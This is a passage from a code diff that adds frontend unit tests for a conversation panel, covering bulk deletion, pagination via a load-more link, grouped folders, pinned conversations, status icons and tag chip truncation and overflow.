+ navigation: { conversationId: "old1", navigate },
+ });
+ await screen.findAllByTestId("conversation-card");
+
+ await user.click(screen.getByTestId("conversation-layouts-toggle"));
+ await user.click(screen.getByTestId("delete-all-conversations"));
+ await user.click(await screen.findByRole("button", { name: /confirm/i }));
+
+ await waitFor(() => {
+ expect(deleteSpy).toHaveBeenCalledTimes(3);
+ });
+ expect(displayErrorToast).toHaveBeenCalledWith(
+ "1 conversation could not be deleted.",
+ );
+ expect(navigate).toHaveBeenCalledWith("/conversations");
+ });
+
+ it("does not navigate away when the active conversation fails to delete", async () => {
+ const user = userEvent.setup();
+ const navigate = vi.fn();
+ const deleteSpy = vi
+ .spyOn(AgentServerConversationService, "deleteConversation")
+ .mockImplementation(async (conversationId: string) => {
+ if (conversationId === "old1") {
+ throw new Error("delete failed");
+ }
+ });
+
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "recent",
+ title: "Recent",
+ updated_at: recentIso(),
+ }),
+ createMockConversation({
+ id: "old1",
+ title: "Old 1",
+ updated_at: olderIso(),
+ }),
+ createMockConversation({
+ id: "old2",
+ title: "Old 2",
+ updated_at: olderIso(),
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ // Active conversation is "old1" — its deletion fails, so we must
+ // not navigate away from it.
+ renderConversationPanel({
+ navigation: { conversationId: "old1", navigate },
+ });
+ await screen.findAllByTestId("conversation-card");
+
+ await user.click(screen.getByTestId("conversation-layouts-toggle"));
+ await user.click(screen.getByTestId("delete-all-conversations"));
+ await user.click(await screen.findByRole("button", { name: /confirm/i }));
+
+ await waitFor(() => {
+ expect(deleteSpy).toHaveBeenCalledTimes(3);
+ });
+ expect(displayErrorToast).toHaveBeenCalledWith(
+ "1 conversation could not be deleted.",
+ );
+ expect(navigate).not.toHaveBeenCalled();
+ });
+ });
+
+ describe("active conversation highlight", () => {
+ it("marks the currently active conversation with data-active=true", async () => {
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({ id: "1", title: "Conversation 1" }),
+ createMockConversation({ id: "2", title: "Conversation 2" }),
+ createMockConversation({ id: "3", title: "Conversation 3" }),
+ ],
+ next_page_id: null,
+ });
+
+ renderWithProviders( , {
+ navigation: { conversationId: "2", currentPath: "/conversations/2" },
+ });
+
+ const cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(3);
+ expect(cards[0]).toHaveAttribute("data-active", "false");
+ expect(cards[1]).toHaveAttribute("data-active", "true");
+ expect(cards[2]).toHaveAttribute("data-active", "false");
+ });
+
+ it("renders no active card when no conversation is selected", async () => {
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [createMockConversation({ id: "1", title: "Conversation 1" })],
+ next_page_id: null,
+ });
+
+ renderWithProviders( , {
+ navigation: { conversationId: null, currentPath: "/" },
+ });
+
+ const cards = await screen.findAllByTestId("conversation-card");
+ expect(cards[0]).toHaveAttribute("data-active", "false");
+ });
+ });
+
+ describe("load-more link", () => {
+ const recentIso = () => new Date().toISOString();
+ const olderIso = () =>
+ new Date(Date.now() - 8 * 24 * 60 * 60 * 1000).toISOString();
+
+ it("shows a load-more link when there is a next page and no older conversations are hidden", async () => {
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "recent",
+ title: "Recent",
+ updated_at: recentIso(),
+ }),
+ ],
+ next_page_id: "page-2",
+ });
+
+ renderConversationPanel();
+
+ await screen.findAllByTestId("conversation-card");
+ const loadMore = await screen.findByTestId("load-more-conversations");
+ expect(loadMore).toHaveTextContent("CONVERSATION$LOAD_MORE");
+ });
+
+ it("hides the load-more link after older conversations are hidden from the filter dropdown", async () => {
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "recent",
+ title: "Recent",
+ updated_at: recentIso(),
+ }),
+ createMockConversation({
+ id: "old1",
+ title: "Old 1",
+ updated_at: olderIso(),
+ }),
+ ],
+ next_page_id: "page-2",
+ });
+
+ renderConversationPanel();
+
+ await screen.findAllByTestId("conversation-card");
+ // Older conversations are visible by default, so load-more is visible.
+ expect(screen.getByTestId("load-more-conversations")).toBeInTheDocument();
+
+ // Hide older conversations via the filter dropdown.
+ const user = userEvent.setup();
+ await openAdvancedOptions(user);
+ await user.click(screen.getByTestId("toggle-older-conversations"));
+
+ // Older conversations are hidden → no load-more.
+ expect(
+ screen.queryByTestId("load-more-conversations"),
+ ).not.toBeInTheDocument();
+
+ // After showing older conversations again, the link reappears.
+ await openAdvancedOptions(user);
+ await user.click(screen.getByTestId("toggle-older-conversations"));
+ expect(
+ await screen.findByTestId("load-more-conversations"),
+ ).toBeInTheDocument();
+ });
+
+ it("fetches the next page when the load-more link is clicked", async () => {
+ const user = userEvent.setup();
+ const searchSpy = vi
+ .spyOn(AgentServerConversationService, "searchConversations")
+ .mockResolvedValueOnce({
+ items: [
+ createMockConversation({
+ id: "recent",
+ title: "Recent",
+ updated_at: recentIso(),
+ }),
+ ],
+ next_page_id: "page-2",
+ })
+ .mockResolvedValueOnce({
+ items: [
+ createMockConversation({
+ id: "page2-1",
+ title: "Page 2 Conversation",
+ updated_at: recentIso(),
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+
+ const loadMore = await screen.findByTestId("load-more-conversations");
+ await user.click(loadMore);
+
+ await waitFor(() => {
+ expect(searchSpy).toHaveBeenCalledTimes(2);
+ });
+
+ // After the second page resolves, the link disappears (no more pages).
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("load-more-conversations"),
+ ).not.toBeInTheDocument();
+ });
+ });
+
+ it("keeps collapsed folder previews stable while still exposing later-page conversations on expand", async () => {
+ useConversationPanelPreferencesStore.setState({
+ organizeMode: "grouped",
+ });
+ const noWorkspaceConversations = Array.from({ length: 6 }, (_, index) =>
+ createMockConversation({
+ id: `no-workspace-${index + 1}`,
+ title: `No workspace ${index + 1}`,
+ }),
+ );
+ const searchSpy = vi
+ .spyOn(AgentServerConversationService, "searchConversations")
+ .mockResolvedValueOnce({
+ items: noWorkspaceConversations,
+ next_page_id: "page-2",
+ })
+ .mockResolvedValueOnce({
+ items: [
+ createMockConversation({
+ id: "no-workspace-7",
+ title: "No workspace 7",
+ }),
+ createMockConversation({
+ id: "no-workspace-8",
+ title: "No workspace 8",
+ }),
+ ],
+ next_page_id: "page-3",
+ })
+ .mockResolvedValueOnce({
+ items: [
+ createMockConversation({
+ id: "alpha",
+ title: "Alpha conversation",
+ selected_workspace: "/workspace/alpha",
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ const user = userEvent.setup();
+ renderConversationPanel();
+
+ const noWorkspaceFolder = await screen.findByTestId(
+ "thread-folder-__none_workspace",
+ );
+ expect(
+ within(noWorkspaceFolder).getAllByTestId("conversation-card"),
+ ).toHaveLength(5);
+ expect(
+ within(noWorkspaceFolder).queryByText("No workspace 7"),
+ ).not.toBeInTheDocument();
+
+ // A single click walks past the deepen-only page 2 (its rows are hidden
+ // from the collapsed preview, so they are not success) and keeps paging
+ // until the brand-new folder on page 3 is discovered.
+ await user.click(screen.getByTestId("load-more-conversations"));
+ await screen.findByTestId("thread-folder-ws--workspace-alpha");
+ expect(searchSpy).toHaveBeenCalledTimes(3);
+ expect(
+ within(noWorkspaceFolder).getAllByTestId("conversation-card"),
+ ).toHaveLength(5);
+ expect(
+ within(noWorkspaceFolder).queryByText("No workspace 7"),
+ ).not.toBeInTheDocument();
+
+ // Collapsed preview stays frozen; expanding reveals every loaded row.
+ expect(
+ within(noWorkspaceFolder).getAllByTestId("conversation-card"),
+ ).toHaveLength(5);
+ await user.click(
+ within(noWorkspaceFolder).getByTestId(
+ "thread-folder-view-more-__none_workspace",
+ ),
+ );
+ expect(
+ within(noWorkspaceFolder).getAllByTestId("conversation-card"),
+ ).toHaveLength(8);
+ expect(
+ within(noWorkspaceFolder).getByText("No workspace 7"),
+ ).toBeInTheDocument();
+ expect(
+ within(noWorkspaceFolder).getByText("No workspace 8"),
+ ).toBeInTheDocument();
+ });
+
+ it("caps a grouped load-more click at three pages when no new folder appears", async () => {
+ useConversationPanelPreferencesStore.setState({
+ organizeMode: "grouped",
+ });
+ const deepenOnlyPage = (page: number, nextPageId: string) => ({
+ items: Array.from({ length: 2 }, (_, index) =>
+ createMockConversation({
+ id: `no-workspace-p${page}-${index + 1}`,
+ title: `No workspace p${page}-${index + 1}`,
+ }),
+ ),
+ next_page_id: nextPageId,
+ });
+ // Exactly four pages are queued: the drive must consume the initial page
+ // plus MAX_PAGES_PER_LOAD_MORE_CLICK more and stop — a fetch beyond the
+ // cap would find no queued response and fail the test loudly.
+ const searchSpy = vi
+ .spyOn(AgentServerConversationService, "searchConversations")
+ .mockResolvedValueOnce(deepenOnlyPage(1, "page-2"))
+ .mockResolvedValueOnce(deepenOnlyPage(2, "page-3"))
+ .mockResolvedValueOnce(deepenOnlyPage(3, "page-4"))
+ .mockResolvedValueOnce(deepenOnlyPage(4, "page-5"));
+
+ const user = userEvent.setup();
+ renderConversationPanel();
+
+ await screen.findByTestId("thread-folder-__none_workspace");
+ expect(searchSpy).toHaveBeenCalledTimes(1);
+
+ // Every remaining page only deepens the existing folder, so the driver
+ // must stop at the per-click page cap instead of draining the cursor.
+ await user.click(screen.getByTestId("load-more-conversations"));
+ await waitFor(() => {
+ expect(searchSpy).toHaveBeenCalledTimes(4);
+ });
+ // The drive has ended: the control is idle again and no further page
+ // was requested beyond the cap.
+ await waitFor(() => {
+ expect(
+ screen.getByTestId("load-more-conversations"),
+ ).toBeInTheDocument();
+ });
+ expect(searchSpy).toHaveBeenCalledTimes(4);
+ });
+
+ it("force-includes the active conversation in a folder preview even when it arrived on a later page", async () => {
+ useConversationPanelPreferencesStore.setState({
+ organizeMode: "grouped",
+ });
+ vi.spyOn(AgentServerConversationService, "searchConversations")
+ .mockResolvedValueOnce({
+ items: Array.from({ length: 5 }, (_, index) =>
+ createMockConversation({
+ id: `alpha-${index + 1}`,
+ title: `Alpha ${index + 1}`,
+ selected_workspace: "/workspace/alpha",
+ }),
+ ),
+ next_page_id: "page-2",
+ })
+ .mockResolvedValueOnce({
+ items: [
+ createMockConversation({
+ id: "alpha-active",
+ title: "Alpha Active",
+ selected_workspace: "/workspace/alpha",
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ const user = userEvent.setup();
+ renderConversationPanel({
+ navigation: {
+ conversationId: "alpha-active",
+ currentPath: "/conversations/alpha-active",
+ },
+ });
+
+ const alphaFolder = await screen.findByTestId(
+ "thread-folder-ws--workspace-alpha",
+ );
+ expect(
+ within(alphaFolder).queryByText("Alpha Active"),
+ ).not.toBeInTheDocument();
+
+ await user.click(screen.getByTestId("load-more-conversations"));
+
+ await waitFor(() => {
+ expect(
+ within(
+ screen.getByTestId("thread-folder-ws--workspace-alpha"),
+ ).getByText("Alpha Active"),
+ ).toBeInTheDocument();
+ });
+ // Still a collapsed preview (limit 5), not the full expanded list.
+ expect(
+ within(
+ screen.getByTestId("thread-folder-ws--workspace-alpha"),
+ ).getAllByTestId("conversation-card"),
+ ).toHaveLength(5);
+ });
+ });
+
+ it("reorders grouped folders via drag and drop", async () => {
+ useConversationPanelPreferencesStore.setState({
+ organizeMode: "grouped",
+ groupFolderOrder: [],
+ });
+
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "alpha-chat",
+ title: "Alpha Chat",
+ selected_workspace: "/workspace/alpha",
+ }),
+ createMockConversation({
+ id: "beta-chat",
+ title: "Beta Chat",
+ selected_workspace: "/workspace/beta",
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+
+ const alphaFolder = await screen.findByTestId(
+ "thread-folder-ws--workspace-alpha",
+ );
+ const betaFolder = screen.getByTestId("thread-folder-ws--workspace-beta");
+ expect(alphaFolder.compareDocumentPosition(betaFolder)).toBe(
+ Node.DOCUMENT_POSITION_FOLLOWING,
+ );
+
+ const dragHandle = screen.getByTestId(
+ "thread-folder-drag-ws--workspace-alpha",
+ );
+ const dataTransfer = {
+ effectAllowed: "move",
+ dropEffect: "move",
+ data: {} as Record,
+ setData(format: string, value: string) {
+ this.data[format] = value;
+ },
+ getData(format: string) {
+ return this.data[format];
+ },
+ };
+ fireEvent.dragStart(dragHandle, { dataTransfer });
+ fireEvent.dragOver(betaFolder, { dataTransfer });
+ fireEvent.drop(betaFolder, { dataTransfer });
+
+ const reorderedAlpha = screen.getByTestId(
+ "thread-folder-ws--workspace-alpha",
+ );
+ const reorderedBeta = screen.getByTestId(
+ "thread-folder-ws--workspace-beta",
+ );
+ expect(reorderedBeta.compareDocumentPosition(reorderedAlpha)).toBe(
+ Node.DOCUMENT_POSITION_FOLLOWING,
+ );
+ expect(
+ useConversationPanelPreferencesStore.getState().groupFolderOrder,
+ ).toEqual(["ws:/workspace/beta", "ws:/workspace/alpha"]);
+ });
+
+ it("shows a pinned section above the conversations list when pins exist", async () => {
+ usePinnedConversationsStore
+ .getState()
+ .pinConversation("default-local", "2");
+
+ renderConversationPanel();
+
+ const pinnedSection = await screen.findByTestId(
+ "conversation-panel-pinned-section",
+ );
+ expect(
+ within(pinnedSection).getByText("CONVERSATION_PANEL$PINNED"),
+ ).toBeInTheDocument();
+ expect(
+ within(pinnedSection).getAllByTestId("conversation-card"),
+ ).toHaveLength(1);
+ expect(
+ within(pinnedSection).getByTestId("conversation-pin-toggle-2"),
+ ).toBeInTheDocument();
+ });
+
+ it("renders pinned conversations only in the pinned section in chronological mode", async () => {
+ usePinnedConversationsStore
+ .getState()
+ .pinConversation("default-local", "2");
+
+ renderConversationPanel();
+
+ const pinnedSection = await screen.findByTestId(
+ "conversation-panel-pinned-section",
+ );
+ expect(
+ within(pinnedSection).getAllByTestId("conversation-card"),
+ ).toHaveLength(1);
+ expect(await screen.findAllByTestId("conversation-card")).toHaveLength(3);
+ expect(screen.getAllByText("Conversation 2")).toHaveLength(1);
+ });
+
+ it("renders pinned conversations only in the pinned section in grouped mode", async () => {
+ useConversationPanelPreferencesStore.setState({ organizeMode: "grouped" });
+ usePinnedConversationsStore
+ .getState()
+ .pinConversation("default-local", "2");
+
+ renderConversationPanel();
+
+ const pinnedSection = await screen.findByTestId(
+ "conversation-panel-pinned-section",
+ );
+ expect(
+ within(pinnedSection).getAllByTestId("conversation-card"),
+ ).toHaveLength(1);
+ expect(await screen.findAllByTestId("conversation-card")).toHaveLength(3);
+ expect(screen.getAllByText("Conversation 2")).toHaveLength(1);
+ });
+
+ it("hides the pinned section after the last pin is removed", async () => {
+ usePinnedConversationsStore
+ .getState()
+ .pinConversation("default-local", "2");
+
+ const user = userEvent.setup();
+ renderConversationPanel();
+
+ const pinnedSection = await screen.findByTestId(
+ "conversation-panel-pinned-section",
+ );
+ const pinnedCard = within(pinnedSection).getByTestId("conversation-card");
+ await user.hover(pinnedCard);
+ await user.click(
+ within(pinnedSection).getByTestId("conversation-pin-toggle-2"),
+ );
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("conversation-panel-pinned-section"),
+ ).not.toBeInTheDocument();
+ });
+ });
+
+ it("shows only five pinned conversations before a More control", async () => {
+ const manyConversations = Array.from({ length: 6 }, (_, index) =>
+ createMockConversation({
+ id: String(index + 1),
+ title: `Conversation ${index + 1}`,
+ }),
+ );
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: manyConversations,
+ next_page_id: null,
+ });
+ for (const conversation of manyConversations) {
+ usePinnedConversationsStore
+ .getState()
+ .pinConversation("default-local", conversation.id);
+ }
+
+ renderConversationPanel();
+
+ const pinnedSection = await screen.findByTestId(
+ "conversation-panel-pinned-section",
+ );
+ expect(
+ within(pinnedSection).getAllByTestId("conversation-card"),
+ ).toHaveLength(5);
+ expect(
+ within(pinnedSection).getByTestId("conversation-panel-pinned-view-more"),
+ ).toHaveTextContent("CONVERSATION_PANEL$MORE");
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-status-dot.test.tsx b/__tests__/components/features/conversation-panel/conversation-status-dot.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..dd0abc5b15bd000fc442425b8eb7e7e46f5d175b
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-status-dot.test.tsx
@@ -0,0 +1,72 @@
+import type { ReactNode } from "react";
+import { screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+
+import { renderWithProviders } from "test-utils";
+import { ConversationStatusDot } from "#/components/features/conversation-panel/conversation-status-dot";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+
+vi.mock("#/components/shared/buttons/styled-tooltip", () => ({
+ StyledTooltip: ({
+ children,
+ content,
+ }: {
+ children: ReactNode;
+ content: string;
+ }) => (
+
+ {children}
+
+ ),
+}));
+
+describe("ConversationStatusDot", () => {
+ it.each([
+ [ExecutionStatus.FINISHED, "conversation-status-check", "COMMON$FINISHED"],
+ [ExecutionStatus.RUNNING, "conversation-status-working", "COMMON$WORKING"],
+ [ExecutionStatus.PAUSED, "conversation-status-paused", "COMMON$PAUSED"],
+ [ExecutionStatus.IDLE, "conversation-status-active", "COMMON$WORKING"],
+ [
+ ExecutionStatus.WAITING_FOR_CONFIRMATION,
+ "conversation-status-active",
+ "COMMON$WORKING",
+ ],
+ [ExecutionStatus.ERROR, "conversation-status-error", "COMMON$ERROR"],
+ [ExecutionStatus.STUCK, "conversation-status-error", "COMMON$ERROR"],
+ ])("renders %s as %s", (status, testId, tooltipLabel) => {
+ renderWithProviders( );
+
+ expect(screen.getByTestId(testId)).toBeInTheDocument();
+ expect(screen.getByTestId("styled-tooltip")).toHaveAttribute(
+ "data-content",
+ tooltipLabel,
+ );
+ });
+
+ it("renders the unknown state for missing execution status", () => {
+ renderWithProviders( );
+
+ expect(screen.getByTestId("conversation-status-unknown")).toBeInTheDocument();
+ expect(screen.getByTestId("styled-tooltip")).toHaveAttribute(
+ "data-content",
+ "COMMON$STOPPED",
+ );
+ });
+
+ it("renders archive icon when sandbox is MISSING (archived)", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("conversation-status-archived"),
+ ).toBeInTheDocument();
+ expect(screen.getByTestId("styled-tooltip")).toHaveAttribute(
+ "data-content",
+ "COMMON$ARCHIVED",
+ );
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-tag-chips.test.tsx b/__tests__/components/features/conversation-panel/conversation-tag-chips.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..103c99c07bc2bee86ea90e8b24ca1960b5bb7f60
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-tag-chips.test.tsx
@@ -0,0 +1,269 @@
+import React from "react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { act, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { ConversationTagChips } from "#/components/features/conversation-panel/conversation-card/conversation-tag-chips";
+
+describe("ConversationTagChips", () => {
+ const observedCallbacks: ResizeObserverCallback[] = [];
+
+ beforeEach(() => {
+ observedCallbacks.length = 0;
+ vi.stubGlobal(
+ "ResizeObserver",
+ class {
+ constructor(cb: ResizeObserverCallback) {
+ observedCallbacks.push(cb);
+ }
+
+ observe() {
+ const cb = observedCallbacks[observedCallbacks.length - 1];
+ cb?.([], this as unknown as ResizeObserver);
+ }
+
+ disconnect() {}
+
+ unobserve() {}
+ },
+ );
+ });
+
+ afterEach(() => {
+ vi.unstubAllGlobals();
+ });
+
+ function stubWidths(containerWidth: number, chipWidth: number) {
+ const row = screen.getByTestId("conversation-card-tag-row");
+ Object.defineProperty(row, "clientWidth", {
+ configurable: true,
+ get: () => containerWidth,
+ });
+
+ const measure = row
+ .closest('[data-testid="conversation-card-tag-chips"]')
+ ?.querySelector('[aria-hidden="true"]') as HTMLElement;
+ Array.from(measure.children).forEach((child) => {
+ Object.defineProperty(child, "offsetWidth", {
+ configurable: true,
+ get: () => chipWidth,
+ });
+ });
+
+ act(() => {
+ for (const cb of observedCallbacks) {
+ cb([], {} as ResizeObserver);
+ }
+ });
+ }
+
+ it("folds chips that do not fit into a +N popover with friendly labels", async () => {
+ const user = userEvent.setup();
+ renderWithProviders(
+ ,
+ );
+
+ // Wide enough for one 40px chip + overflow reserve, not two.
+ stubWidths(80, 40);
+
+ await waitFor(() => {
+ expect(screen.getAllByTestId("conversation-card-tag-chip")).toHaveLength(
+ 1,
+ );
+ });
+ const visibleChip = screen.getByTestId("conversation-card-tag-chip");
+ expect(visibleChip).toHaveTextContent("slack");
+ // Tooltip uses the humanized label — "Origin", not the wire key and not
+ // "Git" (origin names the source of the conversation, not a git fact).
+ expect(visibleChip).toHaveAttribute("title", "Origin: slack");
+
+ const overflow = screen.getByTestId("conversation-card-tag-overflow");
+ expect(overflow).toHaveTextContent("+2");
+
+ await user.click(overflow);
+
+ const popover = screen.getByTestId(
+ "conversation-card-tag-overflow-popover",
+ );
+ expect(popover.parentElement).toBe(document.body);
+ const rows = within(popover).getAllByTestId(
+ "conversation-card-tag-overflow-row",
+ );
+ expect(rows).toHaveLength(2);
+ expect(rows[0]).toHaveTextContent("prod");
+ expect(rows[0]).toHaveTextContent("Env");
+ expect(rows[1]).toHaveTextContent("Owner");
+ expect(rows[1]).toHaveTextContent("alice");
+ });
+
+ it("opens the overflow popover without activating a wrapping link", async () => {
+ const user = userEvent.setup();
+ const onNavigate = vi.fn((event: React.MouseEvent) => {
+ event.preventDefault();
+ });
+
+ renderWithProviders(
+ // Conversation cards sit inside NavigationLink anchors; the +N control
+ // must swallow the activation so the popover can open in place.
+
+
+
+ ,
+ );
+
+ stubWidths(80, 40);
+
+ await waitFor(() => {
+ expect(
+ screen.getByTestId("conversation-card-tag-overflow"),
+ ).toBeInTheDocument();
+ });
+
+ await user.click(screen.getByTestId("conversation-card-tag-overflow"));
+
+ expect(
+ screen.getByTestId("conversation-card-tag-overflow-popover"),
+ ).toBeInTheDocument();
+ expect(onNavigate).not.toHaveBeenCalled();
+ });
+
+ it("hides the overflow control when every chip fits", async () => {
+ renderWithProviders(
+ ,
+ );
+
+ stubWidths(200, 40);
+
+ await waitFor(() => {
+ expect(screen.getAllByTestId("conversation-card-tag-chip")).toHaveLength(
+ 2,
+ );
+ });
+ expect(
+ screen.queryByTestId("conversation-card-tag-overflow"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("emits chip icon test ids only for visible chips, not the measure row", async () => {
+ // The off-screen measure row renders the same chips; tagging those too
+ // would make `getByTestId` (singular) ambiguous for every tagged card.
+ renderWithProviders(
+ ,
+ );
+
+ stubWidths(200, 40);
+
+ await waitFor(() => {
+ expect(screen.getAllByTestId("conversation-card-tag-chip")).toHaveLength(
+ 2,
+ );
+ });
+ expect(
+ screen.getAllByTestId("conversation-card-tag-chip-icon"),
+ ).toHaveLength(2);
+ });
+
+ it("keeps the overflow popover open across re-renders with unchanged tags", async () => {
+ // Callers rebuild the tag array on every render, and the conversation
+ // panel re-renders at least every 10s (`refetchInterval`). Resetting on
+ // array identity would slam the popover shut under the user's cursor.
+ const user = userEvent.setup();
+ const { rerender } = renderWithProviders(
+ ,
+ );
+
+ stubWidths(80, 40);
+
+ await waitFor(() => {
+ expect(
+ screen.getByTestId("conversation-card-tag-overflow"),
+ ).toBeInTheDocument();
+ });
+ await user.click(screen.getByTestId("conversation-card-tag-overflow"));
+ expect(
+ screen.getByTestId("conversation-card-tag-overflow-popover"),
+ ).toBeInTheDocument();
+
+ // Same content, fresh array identity — exactly what the parent produces.
+ rerender(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("conversation-card-tag-overflow-popover"),
+ ).toBeInTheDocument();
+ });
+
+ it("closes the overflow popover when the tags themselves change", async () => {
+ const user = userEvent.setup();
+ const { rerender } = renderWithProviders(
+ ,
+ );
+
+ stubWidths(80, 40);
+
+ await waitFor(() => {
+ expect(
+ screen.getByTestId("conversation-card-tag-overflow"),
+ ).toBeInTheDocument();
+ });
+ await user.click(screen.getByTestId("conversation-card-tag-overflow"));
+ expect(
+ screen.getByTestId("conversation-card-tag-overflow-popover"),
+ ).toBeInTheDocument();
+
+ rerender(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("conversation-card-tag-overflow-popover"),
+ ).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-tag-display.test.ts b/__tests__/components/features/conversation-panel/conversation-tag-display.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..4439618e4503fe22dade3332bd638075736e7ebc
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-tag-display.test.ts
@@ -0,0 +1,224 @@
+import { describe, expect, it } from "vitest";
+import {
+ computeVisibleTagChipCount,
+ formatConversationTagTooltip,
+ getConversationTagLabel,
+ getConversationTagLabelKind,
+ humanizeConversationTagKey,
+ TAG_CHIP_GAP_PX,
+ TAG_CHIP_OVERFLOW_WIDTH_PX,
+ TAG_CHIP_VALUE_MAX_LENGTH,
+ truncateTagChipValue,
+} from "#/components/features/conversation-panel/conversation-card/conversation-tag-display";
+import { getDisplayConversationTags } from "#/api/agent-server-adapter";
+import { I18nKey } from "#/i18n/declaration";
+
+describe("truncateTagChipValue", () => {
+ it("leaves short values unchanged", () => {
+ expect(truncateTagChipValue("slack")).toBe("slack");
+ expect(truncateTagChipValue("a".repeat(TAG_CHIP_VALUE_MAX_LENGTH))).toBe(
+ "a".repeat(TAG_CHIP_VALUE_MAX_LENGTH),
+ );
+ });
+
+ it("hard-truncates long values with an ellipsis within the budget", () => {
+ const value = "a".repeat(TAG_CHIP_VALUE_MAX_LENGTH + 8);
+ const truncated = truncateTagChipValue(value);
+ expect(truncated).toHaveLength(TAG_CHIP_VALUE_MAX_LENGTH);
+ expect(truncated.endsWith("…")).toBe(true);
+ expect(
+ truncated.startsWith("a".repeat(TAG_CHIP_VALUE_MAX_LENGTH - 1)),
+ ).toBe(true);
+ });
+
+ it("never splits a surrogate pair at the cut point", () => {
+ // Slack-/Discord-stamped values carry emoji; slicing by UTF-16 code unit
+ // would leave a lone surrogate that renders as a replacement glyph.
+ const value = `${"a".repeat(TAG_CHIP_VALUE_MAX_LENGTH - 1)}🎉extra`;
+ const truncated = truncateTagChipValue(value);
+
+ expect(truncated).toBe(`${"a".repeat(TAG_CHIP_VALUE_MAX_LENGTH - 1)}…`);
+ for (const codePoint of truncated) {
+ expect(codePoint.codePointAt(0)).toBeLessThan(0xd800);
+ }
+ });
+
+ it("counts astral characters as one character each", () => {
+ // 13 emoji + one more: 14 code points fits the budget untouched.
+ const value = "🎉".repeat(TAG_CHIP_VALUE_MAX_LENGTH);
+ expect(truncateTagChipValue(value)).toBe(value);
+ expect(truncateTagChipValue(`${value}🎉`)).toBe(
+ `${"🎉".repeat(TAG_CHIP_VALUE_MAX_LENGTH - 1)}…`,
+ );
+ });
+});
+
+describe("computeVisibleTagChipCount", () => {
+ it("shows every chip when the container has not been measured yet", () => {
+ expect(computeVisibleTagChipCount([40, 40, 40], 0)).toBe(3);
+ });
+
+ it("fits as many chips as the single row allows, reserving overflow space", () => {
+ // Two 40px chips + gap + overflow reserve must fit; a third does not.
+ const widths = [40, 40, 40];
+ const forTwo =
+ 40 + TAG_CHIP_GAP_PX + 40 + TAG_CHIP_GAP_PX + TAG_CHIP_OVERFLOW_WIDTH_PX;
+ expect(computeVisibleTagChipCount(widths, forTwo)).toBe(2);
+ });
+
+ it("drops the overflow reserve when every chip fits", () => {
+ const widths = [40, 40];
+ const exact = 40 + TAG_CHIP_GAP_PX + 40;
+ expect(computeVisibleTagChipCount(widths, exact)).toBe(2);
+ });
+
+ it("returns 0 when even one chip plus overflow cannot fit", () => {
+ expect(
+ computeVisibleTagChipCount(
+ [40, 40],
+ TAG_CHIP_OVERFLOW_WIDTH_PX + TAG_CHIP_GAP_PX,
+ ),
+ ).toBe(0);
+ });
+});
+
+describe("getDisplayConversationTags", () => {
+ it("excludes reserved keys and puts priority keys first", () => {
+ expect(
+ getDisplayConversationTags({
+ owner: "alice",
+ acpserver: "claude-code",
+ title: "can you research an office app?",
+ origin: "slack",
+ env: "prod",
+ archiveworkspacepath: "/workspace/project",
+ git_provider: "github",
+ repo_name: "org/repo",
+ selected_branch: "main",
+ branch: "feature",
+ repo: "other/repo",
+ workspace: "/tmp/ws",
+ working_dir: "/tmp/wd",
+ automationtrigger: "cron",
+ automationid: "3f2b6c1e-1111-4222-8333-abcdefabcdef",
+ automationname: "Nightly Audit",
+ automationrunid: "run-0001",
+ }),
+ ).toEqual([
+ ["origin", "slack"],
+ ["env", "prod"],
+ ["owner", "alice"],
+ ]);
+ });
+
+ it("ranks priority keys by their normalized name", () => {
+ // The reserved-key filter normalizes the key, so the priority lookup must
+ // too — otherwise a cloud-stamped `Origin` sorts alphabetically instead of
+ // leading the row.
+ expect(
+ getDisplayConversationTags({
+ env: "prod",
+ Origin: "slack",
+ }),
+ ).toEqual([
+ ["Origin", "slack"],
+ ["env", "prod"],
+ ]);
+ });
+
+ it("returns an empty list for nullish tags", () => {
+ expect(getDisplayConversationTags(null)).toEqual([]);
+ expect(getDisplayConversationTags(undefined)).toEqual([]);
+ });
+
+ it("keeps bare tags (empty value) but drops whitespace-only values", () => {
+ expect(
+ getDisplayConversationTags({
+ appmode: "work",
+ worktools: "",
+ workwsid: " ",
+ owner: "alice",
+ }),
+ ).toEqual([
+ ["appmode", "work"],
+ ["owner", "alice"],
